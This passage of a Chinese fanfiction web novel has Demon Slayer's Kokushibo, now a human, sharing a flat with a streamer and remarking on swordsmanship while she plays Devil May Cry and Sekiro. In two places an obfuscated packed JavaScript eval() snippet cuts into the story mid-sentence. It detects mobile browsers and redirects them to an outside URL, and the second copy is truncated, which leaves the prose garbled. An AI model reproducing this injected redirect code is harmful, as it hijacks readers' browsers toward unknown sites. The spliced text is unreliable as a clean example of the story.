下一秒,她从窗户跃出,和服的下摆在风中扬起,黑发在身后散开,宛若蝶翼。 那个瞬间,她像一只蝴蝶,从火焰中振翅飞出。 美丽,轻盈,一触即碎。 我站在街道的另一头,看着她。 火焰的噼啪声,房屋的倒塌声,人群的哭喊声,所有的声音都在远去。 此刻我只能听见一个声音—— 我的心跳声。 咚、咚、咚、 我的胸腔里,有什么东西在翻涌。 疼。 酸涩。 从未有过的感觉,如同一只无形的手攥紧我的心脏,用力地揉捏。 世界开始崩塌。 她走在桥的另一端,隔着半座桥的距离与我对望。 那些歪斜的房屋失去支撑般向内坍缩,天空碎成无数片透明的光点,桥下的河水开始朝着天空倒流。 我们谁也没动。 我只是静静地看着她。 她也只是看着我。 风铃在响。 花瓣轻轻飘落在水面上。 数百年来第一次。 “我后悔了。” 在世界的瓦解中,我听见自己的声音。 17. 我不知道过了多久。 当我再次睁开眼睛的时候,我站在一片望不到边际的纯白空间里。 阿真在我面前,她问我。 “你接下来要做什么?” 我无声地看着她,默默在心里做了一个决定。 我要回到过去。 然后,必须停下那场漫无止境的回溯游戏。 18. 我如愿回到了过去。 无数个她,在轮回里握着刀走向我。 在她第一百五十三次杀死我的时候,阿真问我。 “你恨她吗?” 恨? 不,我不会恨她。 每次被杀死的时候,我都在期待她的下一次到来。 我只想要她。 不论她给我的是什么。 19. 在这场漫无止境的程序里,我被困于一所囚笼。 以轮回为始,死亡也不得终止。 无边恨意围绕着我,试图吞噬我的思绪。 当她靠近我的时候,一切却如冰雪消融。 寂静之中,我听见了心跳的回响。 51.黑死牟·壹 显示屏幽蓝的光打在朝奈脸上,她盯着屏幕里维吉尔的眼神十分专注。 “来了。” 特意调整了一下自己的坐姿,身下那张白色塑料椅发出轻微的“吱呀”声,她便伸手把麦克风往旁边挪了挪。 直播间弹幕缓缓飘过: 【主播今天怎么坐这个椅子】 【这椅子我说怎么越看越眼熟,跟我奶奶家楼下那家大排档的长得一毛一样】 【维吉尔:你礼貌吗?】 【不懂就问,这又是什么梗】 【一想到主播接下来要干嘛我就想笑】 【我靠,这梗都有人不知道吗?什么年代了难道我们五月恶魔哭是真的凉了?】 屏幕里,但丁对着坐在树椅上的维吉尔伸出手:“把阎魔刀给我。” 维吉尔缓缓转身,“如果你想要,就自己来拿,这规矩你懂的。” 朝奈心说这才是经典。 身后传来轻轻的脚步声,她微微侧身,朝旁边的位置示意了一下。 继国严胜,曾经的上弦壹如今恢复了人类的模样。 他端着两杯热茶走过来,穿着深灰色的居家服,黑色长发柔顺地垂落。 听到朝奈的声音,他将一杯茶放在她手边的桌上,然后在旁边那把普通的木质椅子上坐下,目光随之落于电脑屏幕。 他所坐的位置在镜头之外,从摄像头的角度只能看见朝奈和她身下坐着的白色塑料椅。 这是三个月来形成的默契,严胜从不入镜,朝奈也不让镜头扫到他的方向。 【奈奈子刚才是不是在跟谁说话】 【哦哦我知道了,是我们的神秘舍友】 【主播自言自语?】 【是在和合租舍友说话吧,之前有提过合租的事情】 朝奈没解释更多。 她需要保护严胜的个人隐私。 画面里,维吉尔和但丁已经开始对峙。 刀光闪过,阎魔刀与叛逆之刃第一次碰撞,火花四溅。 维吉尔的动作干净利落,每一刀都凌厉无比。 “这个起手式,”严胜点评道,“过于追求速度,忽略了中段的防守空档。” 朝奈认可地点点头。 不愧是月柱大人,一眼就看出了动作的不足之处。 转斗逐渐升级,维吉尔一个后跳拉开距离,手中阎魔刀横向一挥,三道次元斩凭空出现,撕裂空间直逼但丁。 【我超!次元斩!】 【维吉尔我的超人】 【!?帅帅?!】 【什么时候我也能搓出这种操作啊】 朝奈端起茶杯抿了一口,开始给弹幕科普:“其实次元斩的判定范围比看起来大。” 【学到了学到了】 【不愧是我们技术流煮啵】 【所以奈奈子你能打出次元斩吗】 【I am the storm that is approaching——】 严胜的目光落在屏幕上,像是在研究某种从未见过的剑术流派。 那些凭空出现的斩击,撕裂空间的轨迹,跨越距离的突刺,在他眼中正在被拆解成最基础的呼吸法与剑技。 “此刀,”严胜低声问,“可有名字?” 她微微偏头,回答了他的提问,“阎魔刀,传说中能切开空间。” 游戏里的战斗还在继续,但丁和维吉尔从地面打到空中,刀光剑影交错,特效满屏幕飞舞。 朝奈看得入神,偶尔点评两句操作。 “维吉尔这个连段其实可以接的更好,但丁的RG风格用得确实漂亮。” “你们看,这里维吉尔直接真魔人,但丁就不好应付了。” 【煮啵煮啵,那我问你,你觉得维吉尔和但丁谁厉害?】 【引战是吧】 【但丁是卡普空亲儿子,肯定但丁强】 【维吉尔厨表示不服】 朝奈的语气倒是很平淡:“看操作。” “就上限来说,两个角色都够高,但丁更全面,维吉尔爆发更强。” “真要论设定的话——” 她的话没说完,余光瞥见严胜端着茶杯,目光落在那个银发黑衣的身影上,似乎正对满屏弹幕里的“抛瓦”感到不解。 “维吉尔有个绰号叫‘抛瓦人’,因为他整天把power挂在嘴边,”朝奈和他解释,“你可以理解成那种为了力量什么都肯干的人。” 【power——(破音)】 【维吉尔:我需要更多抛瓦】 【什么?你也是抛瓦人!】 但丁和维吉尔的战斗接近第一阶段的尾声,两人对峙而立,维吉尔伸手抹了抹额前的头发,将散乱的银发重新捋顺。 【发胶手这一块】 【经典动作虽迟但到】 【打架可以输,发型不能乱】 朝奈本是想着继续解释这个梗的意思,却发现他盯着维吉尔的收刀动作,眼神可谓是异常专注。 “怎么了?” 严胜沉默了片刻,缓缓开口,“此人倒是讲究。” 她愣了一下,随即反应过来,他这是把发胶手当成某种武士修养了。 【舍友怎么不说话了】 【好想知道煮啵亲爱的舍友长什么样】 【上次有人说他声音巨好听,今天怎么没声了】 【估计是不方便吧?】 朝奈随口扯了一个理由,说:“他今天嗓子不舒服。” 严胜看她一眼,没有戳穿这个谎言。 剧情继续推进,双方战斗升级,场景切换到另一处画面。 朝奈稍微调整了一下坐姿,身下那把白色塑料椅又吱呀响了一声。 严胜的目光不可避免地被椅子吸引,他似乎憋了很久,此刻终于问出口。 “有一件事,我想了许久仍未解。” “你说。” “你今日,为何要坐这张白色的椅子?” 弹幕瞬间炸开了锅。 【哈哈哈哈他终于问了】 【想必舍友一定憋了很久了吧】 【来了来了名场面】 【奈奈子等这一刻也等了很久吧!大家都不容易!】 【我笑得在地上乱爬】 朝奈看着屏幕上的维吉尔。 “这是致敬。”她的语气很平静。 “致敬?”他似乎更不解了,“此椅可否有来历?” 她指了指屏幕里的游戏角色,“这个人帅不帅?” 严胜看了一眼,“气度不凡。” “原本他坐得是一把树椅,非常有格调。”朝奈解释着,“但是呢,网上有人给他换了把椅子。” 他的目光缓缓移向她身下的那把塑料椅。 严胜端起茶杯,喝了一口茶。 他经历过战国时代的烽烟,化为鬼活了数百年,最终在无人知晓的角落里恢复成人。 他以为自己已经见过世间一切荒谬之事,此刻他才发现自己错了。 【???就这】 【煮啵怎么不解释清楚】 【我记得奈奈子说过舍友不怎么打游戏吧,这些梗对他来说还是太陌生了】 【他现在会不会在怀疑人生?】 朝奈欣赏完严胜的表情,继续更详细的解释,“鬼泣的mod梗啦,有人把维吉尔坐着的树椅换成大排档塑料椅了,逼格瞬间掉完不说,荒诞中还带着一丝好笑。” “我今天直播坐的这个椅子就是在致敬那个传奇mod。” 【原来如此】 【啊?还真有人不懂啊】 【我还有因为大家都是说着玩玩的】 【所以主播是故意去找了把大排档椅子是吧】 【奈奈子是懂节目效果的】 严胜听着朝奈的解释微微颔首。 这几个月的合租生活让他明白一件事:这个时代有太多他无法理解的东西,追问下去只会让自己更迷惑。 但丁和维吉尔的战斗已经进入白热化阶段,维吉尔拔出阎魔刀,浑身爆发出光芒。 【真魔人形态!帅!】 【帅炸了帅炸了】 【特效经费全都在燃烧】 【卡普空你做的好啊!】 “真魔人状态下的维吉尔的攻击力和速度全面提升,次元斩变成华丽次元斩,消耗所有的魔人槽释放,伤害极高。” “不过你们要注意,这个状态下他的硬直变大了,容易被抓后摇。” 严胜听着她对直播间观众说的话,低声问,“此状态可以视为...某种鬼化?” “可以这么理解。”她点头,“代价是持续消耗某种能量,用完就会变回原形。” 严胜若有所思。 此时游戏里的维吉尔一个次元斩接突刺,将但丁击退数丈。 被击退的但丁翻身落地,咧嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374561|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一笑,浑身也爆发出红色的光芒。 ——他也开了真魔人。 【红蓝大战!】 【斯巴达家传统艺能】 【老师画面上同时出现了红色和蓝色,你应该打一个#obtag】 【父慈子孝兄友弟恭这一块】 【但丁:你先开的】 朝奈看到这一幕,关掉直播收声用的麦克风,侧头问严胜:“你说你和缘一谁更强?” 严胜听到这话,握着茶杯的手微微一顿。 她当然不是来找茬的。 屏幕上,但丁和维吉尔的战斗接近尾声,两人同时解除真魔人形态,气喘吁吁地对峙着。 她缓缓开口:“有些人对于力量的执着追求,其实是古今相通的。” 游戏战斗结束,但丁和维吉尔握手言和,虽然下一秒又开始互相嘴臭。 朝奈靠在塑料椅上,端起茶杯喝了一口,发现茶已经凉了。 严胜非常顺手且自然地接过茶杯,起身往厨房的方向走。 弹幕有人非常眼尖: 【等等,煮啵的杯子怎么自己飘起来了】 【我也看到了好像有人拿走的】 【我咋不信主播说的普通舍友?】 【普通舍友对你这么贴心是吧】 【我都懒得说你俩!】 严胜端着新沏的茶走回来,轻轻放在朝奈手边。 画面中,兄弟二人联手对付新的敌人,虽然嘴上互相嘲讽,配合却无比默契。 这时,有条弹幕问: 【主播,你觉得维吉尔为什么这么执着于力量呢?】 “因为他觉得自己不够强。” 朝奈这番话醉翁之意不在酒,其实更多地还是想说给旁边的人听。 “没能保护想保护的人,所以发誓要变得更强。” “但问题在于,力量这东西没有尽头,你变强了,敌人也在变强。” “你得到了一部分力量,就会想要更多的力量。” “到最后,你追逐的到底是力量本身,还是那个足够强的的虚影,可能连自己都分不清了。” 【煮啵日常上正能量价值观】 【所以抛瓦人其实是个悲剧角色】 游戏的战斗渐渐平息,背景音乐变得舒缓。 “严胜,你觉得什么才算足够强的?” “...我曾以为是超越某个人,后来才发现——” 数百年的鬼之生涯,无数场战斗和杀戮,最终换来的不过是一句“我赢了”之后的空虚。 “然而追逐一生不过一场幻梦。” 那个曾经让他追逐的身影早已消失在岁月里,而他也终于在漫长的时间中明白了一个再简单不过的道理。 “活在当下亦不失为一种圆满。” 画面暗下,片尾曲响起,朝奈伸了个懒腰。 “今天的直播差不多就到这里了。” 弹幕刷起一片【辛苦了奈奈子】【明天见做不做得到?】【大排档椅子记得还回去】。 她关掉直播,长舒一口气。 看着严胜起身离开的背影,忽然想到什么,问:“严胜,你觉得今天的直播效果怎么样?” “尚可。” 他端着茶杯走得很稳,“虽不甚解其意,但看见你...乐在其中。” 朝奈轻笑了几声,“那就好。” 她继续坐在那张白色塑料椅上,看着窗外渐渐西斜的太阳。 几个月前世界融合的那一刻,上弦之鬼以人类的形态出现在现代都市,绝大多数人对此一无所知,只有少数人知道真相,其中就包括她。 严胜找到她,以更好地融入这个快节奏的现代都市为由找她合租。 思考一番后,她最终答应了。 此刻游戏的画面定格在最后一幕:但丁和维吉尔背对背站着,夕阳将兄弟二人的影子拉得很长。 “对了。”严胜的声音从厨房传来,带着一丝难得的迟疑,“你之前说的那个...苇名弦一郎。” 朝奈挑眉,“怎么了?” “他,”严胜顿了顿,“用的也是刀吗?” 朝奈望着厨房的方向,“是啊,而且他有个招式叫巴之雷。” 厨房里安静了几秒。 “雷?”严胜的声音沉了些,“御雷之术?” “想知道更多的话,下次来和我一起玩?” “...好。” 52.黑死牟·贰 众多观众点进直播间,发现今天朝奈直播间的标题是“Sekiro: Shadows Die ?” 只狼:影逝?度。 【刚进来就被笑晕了,奈奈子的冷幽默我是认可的】 【煮啵今天准备死几次?】 【受苦之旅开始咯】 【神秘舍友今天在吗?】 【神秘在哪?】 【舍友在哪?】 【哦哦哦太好了今天播只狼!!!】 朝奈稍微看了眼弹幕,听到身后传来的脚步声。 严胜上次答应过她的,一起玩只狼。 【舍友是不是来了】 【主播刚刚侧头的那个小动作我看见了哦】 【眼睛都这么尖?】 严胜端着一个小碟子走了过来,上满摆满了各式各样的水果。 他依旧是把水果碟子放在朝奈电脑桌空余的位置上,然后在她旁边坐下来。 【这水果真水吧】 【这水果真果吧】 【这水果真水果吧】 【来自舍友的投喂】 【唉,不讲不讲,我都懒得说】 朝奈很随意地插了块苹果塞到嘴里,对着直播间新来的观众解释:“今天玩只狼,应该没人不知道吧?” “事先声明一下哦,主播很久没玩了,出现辣眼睛操作就看不下去的现在可以退出去了。” 【行了行了,奈神你也别装了】 【国际惯例,开播前先装一波菜骗点弹幕】 【前面的,你已经被骗出来了】 【奈奈子你这种硬核动作游戏玩家打起来没意思啊,看腻了】 【能让舍友代打吗?】 “今天把他喊来就是一起玩的,我先给他演示一下前面的游戏流程。” 朝奈照顾到严胜没有接触过这个游戏,按下的是新游戏的按钮,画面进入一段CG。 黄昏下的芦苇荡,血迹斑斑的战场上,一个独臂的男人跪在地上。 游戏继续推进,狼穿过悬崖来到一座破败的寺庙面前,遇到了一个自称佛雕师的老人,进行简单对话后,游戏才算是正式开始。 她操纵着角色沿着山路往前走,路边有几个小兵在巡逻。 “先试试手感。”朝奈按下锁定键,冲上去就是一刀。 小兵倒地。 继续往前走,然后她遇到了第一个精英怪:一个拿着大刀的武士。 三十秒后,屏幕上出现两个一个大字:死。 直播间弹幕变得无比热闹。 【经典装唐骗一波】 【Man,What can I say?】 【熟悉的味道】 【新来的还在扣问号,老观众已经开始笑了】 【进来学操作的放心吧,这会是主播本场直播最后一次死亡】 【但是话又说回来了,这个精英怪是真给我上了一课,重开七八次才打过去】 【宫崎老贼是这样的,序章没难度,第一个boss是剧情杀,到了寺庙还有人给你练手,让你以为自己炫酷无敌屌炸天,之后遇到第一个精英小怪后,你发现退款已经来不及了】 【蚌埠住了,前面这是真玩过的】 朝奈其实也算不上是故意的。 她只是在吃水果,单手操作了一下发现并不可行。 用纸巾擦完手以后,她稍微认真了一点。这一次完美格挡了武士的一套连招,一刀处决,武士倒地。 【六百六十六,代练扫号炸鱼来了】 【举办一下谢谢喵】 【什么意思,这种操作流畅度跟我说没玩过我是不信的】 【我寻思标题也没写萌新开荒啊】 【奈孝子还是一如既往护主哈】 【主播操作对味了,弹幕也对味了】 朝奈侧头看向严胜,用眼神询问“怎么样”。 “此人...刀法粗浅。” 她重复了一遍说给直播间观众听:“舍友说这个精英怪刀法粗浅。” 【人家好歹也是个武士boss吧,好没面子】 【所以主播舍友什么段位?】 什么段位? 大概就是做人月柱和当鬼上弦壹的段位吧! 纯纯的数值怪,兄弟。 屏幕上的角色穿过一段地道,来到一片芦苇荡前。 芦苇荡中间站着一个高大的武士,游戏弹出名字:苇名弦一郎。 【新手劝退官来了】 【奈神表演一个】 【点的炸鸡外卖到了,来得早不如来得巧】 “这个就是苇名弦一郎,之前的初遇是剧情杀,”朝奈对严胜说,“我这一遍认真打给你看。” 严胜颔首。 CG动画播放,弦一郎站在城楼上,手持长弓,居高临下地看着狼。 朝奈不慌不忙地垫步,箭矢擦着狼的身体飞过。 战斗开始。 她没有着急进攻,花了一点时间适应弦一郎的攻击节奏,格挡和闪避交替进行。 当弦一郎一套连招打完收刀的时候,朝奈动了。 垫步拉开距离,然后再突刺两刀,弦一郎反击,她则完美格挡,顺势插了一个补刀的动作,整个过程行云流水,没有一个多余的操作。 严胜的目光跟随着屏幕上的战斗微微移动。 Boss的第一管血条迅速下降,处决提示出现,朝奈按下。 弦一郎倒地,随后缓缓爬起来,掏出了他的弓。 【他二阶段来了】 【主播稳住】 【看热闹的都散了吧,我用脚指头想都知道结局】 【奈奈子的表情简直毫无波动】 【当个事办了】 二阶段开始后弦一郎的攻击更加激进,远程射箭和近战连招交替使用,朝奈游刃有余地应对,然后抓住每一个收刀硬直的瞬间反击。 不一会,屏幕上出现“忍杀”二字。 【一次过???】 【我看boss也是路边一条啊】 【主播是人吗(褒义)】 【我在这卡了巨久差点退款去了,你特么一次过?】 【不然你猜她为什么是动作游戏分区TOP1?】 朝奈这次塞了个青提,悠闲之余又问严胜,“感觉如何?” “刀法尚可,但收刀后的空档过于明显,若在实战中恐坚持不了太久。” 朝奈赞同他的观点:“确实,游戏里的Boss都有固定的攻击套路,背板就能过。” 【舍友:尚可】 【越来越好奇等下舍友玩是什么画面了】 【万一打脸就好玩了(不是)】 【救命,他对刀法的评判标准真的好高,搞得我都很好奇他是不是真学过了】 朝奈吃完水果继续推进游戏,狼穿过苇名城的外围,来到一处屋顶,下方几个小兵在巡逻。 她稍微观察了一下,随即开始行动。 用勾绳使角色来到空中进行暗杀,落地接垫步,再将剩余几个一并解决。 【只能说赏心悦目】 【看得我手痒痒的,我也要重温一遍只狼去了】 【帅!奈奈子帅!】 “此物倒是有意思。”严胜目光微微一凝。 “这是忍义的一种能力,可以勾住远处的支点,实现立体机动。” 严胜注视着屏幕中在屋顶之间飞来飞去的独臂忍者,缓缓开口:“如若在战场上有此物傍身,便可占据高处俯察敌情。” 朝奈居然真的就他的思路深入思考了一下,在他的那个时代如果有这样的技术,战场会变成何种样子。 【已经快进到开始研究战术军用价值了吗?】 【主播的舍友到底是什么来头】 【他好认真吧】 游戏还在进行着,狼穿过桥梁来到一处开阔地带,远处城口站着一位身着红色铠甲的武士,苇名七本枪之一。 依旧和之前与弦一郎的战斗一样,在朝奈精湛熟练的操作下,七本枪的血条以肉眼可见的速度下降,随后“忍杀”二字再次出现。 【我的妈啊,又是一次过】 【主播干脆出个一命通关得了】 【急着下播吗怎么打这么快】 【舍友快快快,锐评一下对面的操作】 “枪法尚可,但下盘不稳。”严胜依旧是惜字如金的点评风格。 朝奈看了一眼时间,感觉差不多是时候了。 “你来试试?”她问严胜,“前面这些都是热身,真正的Boss都在后面。” 她把键盘鼠标往他那边推了推。 严胜接过键鼠,手指落在设备上的时候,有种说不出的从容。 【噢噢噢噢噢噢舍友要上了】 【神秘舍友】 【好期待他的操作】 【究竟是小白还是大佬,急急急急急】 【上来就死那就好玩了】 朝奈指点着他:“往前走就行,前面有个小怪,你熟悉一下操作。” 严胜注意到了那个站在路边的敌人,眉心微微蹙起。 他按了一下方向键,操纵着角色往前走了一步,又按了一下,角色又走了一步。 【他好谨慎哈哈哈哈哈哈】 【小碎步说是】 【确认完毕,应该是游戏小白】 【我就说奈奈子那种级别的大神怎么可能到处都是】 “你可以直接锁定他,按这个键。”朝奈伸手,手把手地教他。 严胜被她握着手按下Q键,屏幕上的狼锁定了小兵。 那名小兵发现了敌人,挥着刀冲了过来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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很快屏幕上就出现忍杀。 【这次我是真的要扣问号了】 【舍友哥的操作小白在哪?】 【哦对的对的,哦不对不对】 【我已目瞪口呆】 无伤通过了这个精英Boss关卡,严胜淡淡地说:“倒是有些意思。” “哦?”朝奈很期待他的答复,毕竟只狼是她很喜欢的一款游戏,被认可了她其实蛮开心的。 “这个时代的人,用这种方式磨砺战斗之术,很是别出心裁。” 严胜的目光注视着屏幕上定格的城池,“这座城倒也唤起了我的一些回忆。” “我曾攻过一座和这差不多的城,不大,依山而建,城门前有溪流。” “那日,城主的妻子站在城墙之上望着下方,知晓自己的丈夫战败,便抱着幼儿跃下城墙。” 朝奈听他说着以前的事情,双眼看着屏幕上那座战火纷飞的苇名城,一瞬间,仿佛脑海中构想的画面与游戏重合交织。 她没有追问后面的事情——她知道在那个时代战败后会发生什么。 “其实现在这个世界还挺好的。”安静许久,她忽然有些感慨。 严胜看向她。 “没有战争,没有鬼,普通人不需要提心吊胆地活着,大家想玩游戏就玩游戏,想吃水果就吃水果,就像我们现在一样。” 她拿起一颗饱满的青提晃了晃,“多好。” “这个时代确实很好。”他的声音很轻,视线落在窗外的夜景上。 城市的霓虹灯亮起,楼下有汽车驶过的声音,还有行人交谈的说笑声。 所有的和平,在他的时代都是奢望。 他曾见过太多城池化为焦土,许多孩子家破人亡在废墟中哭泣。 那些被他斩杀的人,因他而死的人,在战乱中失去家园的人。 数百年的岁月里,他见过太多。 比起过往的杀戮与战斗,漫无止境追求力量的鬼之生涯,他已经开始习惯现在的生活了。 每日被窗外的阳光唤醒,楼下大排档老板的吆喝声,还有朝奈玩游戏的时候噼里啪啦的键盘声。 一切都很安稳。 严胜端起茶杯,喝了口已经凉透的茶。 “朝奈。” “怎么了?” “明日我想去买些梨子。” “香梨吗?” “上次在楼下见过,当时你说不新鲜。” “行,”她答应下来,“明天陪你去。” 严胜颔首。 “对了,严胜,”朝奈的声音从身后传来,“明天早上你起来的时候记得喊我一下,我出门要办点事。” “好。” 他答应下来,在心中默默想: 能与她在这个世界再度重逢,他何其有幸。